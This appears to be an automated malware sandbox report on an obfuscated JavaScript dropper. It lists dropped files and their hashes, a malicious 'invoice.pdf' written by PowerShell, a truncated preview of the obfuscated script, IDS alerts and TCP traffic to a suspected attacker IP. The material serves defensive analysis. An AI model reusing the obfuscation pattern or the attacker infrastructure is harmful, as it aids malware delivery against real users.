Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b41af02b-719d-40cb-b5c4-0dff35b9f218.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTXYIGNPpeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTXZGeWLxYGZN3mlind9i4ufFXpAXkru
MD5:	59B2B17A6B591BDCE641B9504FCAF7BD
SHA1:	E9DDFBA0AE3883F826FAB61A9725E61F706EFC33
SHA-256:	73C25AC5E63067D4370E4CD970A62A2DF82B9AEEC8D4CD90FBF51AA338056C48
SHA-512:	85AAE989850D35DB9CDB302BDAAE84D03AD7176C114C5EA52024E79F07F8A5A2C70C37DCE0122B3C22BB9B1FD0ED5DE85E40AF205E430C339568DA2E546D100C
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e9729098-8d2b-41d3-90b8-adc263168a68.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16750), with CRLF line terminators
Entropy (8bit):	4.888746874589491
TrID:
File name:	551753881921117607.js
File size:	20'077 bytes
MD5:	101cd7376bc03bc7c4365080c90bd2f4
SHA1:	0950449bc6586e12870cabe399ce977eff4eec09
SHA256:	a87247c114a4060b23c98a7b34abbd5380a9c8dab980882796222b6179064808
SHA512:	517955f8b94ae026290f1d4743a97c75a6c0a711d758bc2e3c26443e3ad1e68504f97b0cd83ea1ece1f61b0a7a505c3be670c16bdab67869a4eb61ee0dbff532
SSDEEP:	384:rftuefevP07fRk6j+I5IfK8+oh4cohkaNKe+TEsHHINR+Hbpn8LnxbbtjqucXl9y:rfMefeUfx+I5IfK8+oh4cohkaNKe+TEx
TLSH:	F692735215414EA6CEEC55AA6CD710FC928C079C8D229F5D8847A8C46BCBB5EFCFD0B2
File Content Preview:	function pjggdjfe(){ogtkieng=[1031,3079,5127,4103,2055,3072];var kfjfo=this[zjjwy+vglhaymc+rgxctlh+utnjarjmy+ulmkod+fxrvf+uvrckwlq+tyhqktgq](this[vknjig+cynkcb+juupe+rgxctlh+vexvk+zjjwy+tyhqktgq][ggkxvb+rgxctlh+ulmkod+vglhaymc+tyhqktgq+ulmkod+xkkejl+sealc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:01:16.967522+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T20:01:19.260768+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:01:16.183063984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:16.188220978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.188347101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:16.191385984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:16.196274996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967454910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967483997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967494965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967506886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967515945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967521906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:16.967531919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967545033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967557907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967561960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:16.967570066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967581987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.967590094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:16.967673063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:16.972472906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.972491980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:16.972548962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.010265112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.010286093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.010299921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.010431051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.053286076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.088752985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.088821888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.088876963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.088911057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.088941097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.088947058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.088980913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.089005947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.089016914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.089036942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.089055061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.089092970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.089708090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.089808941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.089843035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.089854002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.089878082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.089911938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.089917898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.090652943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.090687037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.090702057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.090723038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.090755939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.090765953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.090792894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.090831041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.091475010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.096874952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.096951008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.131736994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.131774902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.131810904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.131844997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.131867886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.131906986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.175729036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.175786972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.175878048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.210844994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.210866928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.210881948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.210896015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.210935116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.210983038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.211062908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.211082935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.211096048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.211107969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.211119890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.211128950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.211134911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.211138010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.211184025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.211865902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.211879015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.211891890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.211920977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.212153912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.212212086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.212235928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.212248087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.212259054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.212270021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.212280989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.212281942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.212301016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.213130951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213141918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213152885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213159084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213170052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213172913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.213185072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213191986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.213217974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.213948011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213958979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213969946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213987112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.213988066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.214000940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.214004040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.214018106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.214046001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.214787006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.214831114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.214858055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.214871883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.214884043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.214895010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.214904070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.214907885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.214932919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.218384981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.218425989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.218435049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.218446016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.218480110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.254158020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.254192114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.254240036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.254245043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.254280090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.254317045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.254318953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.254352093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.254386902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.254388094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.299180031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.299216032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.299251080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.299280882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.299285889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.299357891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.349329948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349369049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349401951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349455118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349468946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.349468946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.349488974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349525928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349536896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.349560976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349596977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349601030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.349881887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349915981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349945068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.349952936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.349992990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.350054979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350150108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350183964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350217104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350229979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.350264072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.350507021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350557089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350600958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.350610018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350642920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350680113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350688934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.350714922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350749969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350759029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.350785017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350820065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.350822926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.351361990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.351397038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.351421118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.351430893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.351464987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.351471901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.351500988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.351536036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.351541996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.351973057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352006912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352016926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.352041960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352076054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352109909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352109909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.352149963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.352160931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352195978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352231026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352237940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.352266073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352302074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352304935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.352937937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352972031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.352982044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.353008032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.353039026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.353049040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.353074074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.353106976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.353116035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.353140116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.353176117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.353212118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.353240013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.353249073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.353282928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:01:17.353929996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:01:17.353964090 CET	80	49704	193.143.1.205	192.168.2.5
